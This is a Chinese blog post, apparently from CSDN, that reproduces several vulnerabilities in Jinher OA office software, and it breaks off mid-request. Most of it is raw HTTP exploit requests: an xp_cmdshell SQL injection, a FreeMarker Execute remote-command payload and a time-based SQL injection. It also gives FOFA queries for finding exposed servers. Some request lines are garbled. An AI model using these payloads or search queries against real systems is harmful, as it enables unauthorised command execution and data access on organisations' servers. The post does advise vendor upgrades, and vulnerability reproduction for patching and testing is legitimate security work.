漏洞复现-金和OA系列

amingMM

已于 2024-03-15 15:01:27 修改

阅读量1.3k

点赞数 23

CC 4.0 BY-SA版权

文章标签：安全 web安全运维

于 2024-03-14 16:59:40 首次发布

amingMM

本文链接：https://blog.csdn.net/qq_33608000/article/details/136715288

本文详细介绍了金和OA系统中的多个安全漏洞，包括C6-GetSqlData.aspx的SQL注入、jc6 RCE、GetTreeDate.aspx的SQL注入和未授权访问问题，以及OfficeServer的任意文件上传等。提供了复现这些漏洞的链接和相关配置文件路径，强调了及时联系厂家升级系统以保障安全的重要性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

在这里插入图片描述

金和 0A C6-GetSqlData.aspx SQL 注入

POST /C6/Contro1/GetSqlData.aspx/.ashx
Host: ip:port
User-Agent: lozi1la/5.0 (Windows NT 5.1) ppleWebKit/537.36 (KHTMLlike Gecko)
Chrome/35.0.2117.157 Safari/537.36Connection: close
Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip
exec master..xp_cmdshell'ipconfig'

(21).金和OA--------------------------------------------fofa:app=“金和网络-金和OA”

🗡金和OA jc6 RCE

https://mp.weixin.qq.com/s/8VTorC_boGqtYk7qlsHyNg 在这里插入图片描述

金和OA协同办公管理系统C6软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。金和OA viewConTemplate.action存在远程命令执行漏洞。

app=“金和网络-金和OA”||body=“/jc6/platform/sys/login”


POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Length: 152
Content-Type: application/x-www-form-urlencoded

moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%28%29%28%2522ipconfig%2522%29%257D%253C%252Fclob%253E&uuid=1

在这里插入图片描述

请联系厂家 http://www.jinher.com/升级

金和OA GetTreeDate.aspx SQL注入

【新】金和OA RssModulesHttp.aspx接口SQL注入漏洞复现

https://mp.weixin.qq.com/s/RM0gZfnSs4hsGa6MerqDog

GET /C6/JHSoft.Web.WorkFlat/RssModulesHttp.aspx/?interfaceID=-1;WAITFOR+DELAY+%270:0:3%27-- HTTP/1.1
Host: 
accept: */*
User-Agent: Mozilla/5.0 (Windows